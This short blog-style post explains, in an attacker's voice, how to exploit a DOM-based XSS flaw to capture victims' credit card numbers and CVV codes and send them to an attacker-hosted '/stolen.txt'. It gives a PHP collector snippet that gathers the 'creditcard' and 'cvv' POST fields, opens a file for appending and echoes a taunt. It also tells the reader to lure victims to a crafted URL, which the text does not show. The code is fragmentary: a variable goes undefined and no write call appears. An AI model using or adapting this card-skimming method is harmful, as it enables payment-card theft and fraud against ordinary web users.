As in the previous post – this post expands on the process in which you send information entered into a webpage to an attacker hosted site. In this example you are exploiting a DOM based XSS vulnerability which means that the vulnerability is exploited entirely on the user/victim side (before interaction with the site/server).
You are essentially using the fields and text blocks as your tool to steal information and then send it off to your site under the /stolen.txt location.
The code you can use to steal from the certain fields is:
$juicydata=$_POST[‘creditcard’] . ‘ |||’ . $_POST[‘cvv’]. “\n”;
$fh = fopen($JDATA, ‘a’);
echo “Gotcha sucker!” . $_POST[‘name’].”!”;
(just FYI – the ‘creditcard’ and ‘cvv’ names referenced above are actual names from the site – so make sure of these attributes before complaining. And the echo part is for you to test)
You then need to get the victim to click on and navigate to the newly crafted url:
As the victim types values into the creditcard and cvv fields and click on the submit button the information will be sent to the attacker site.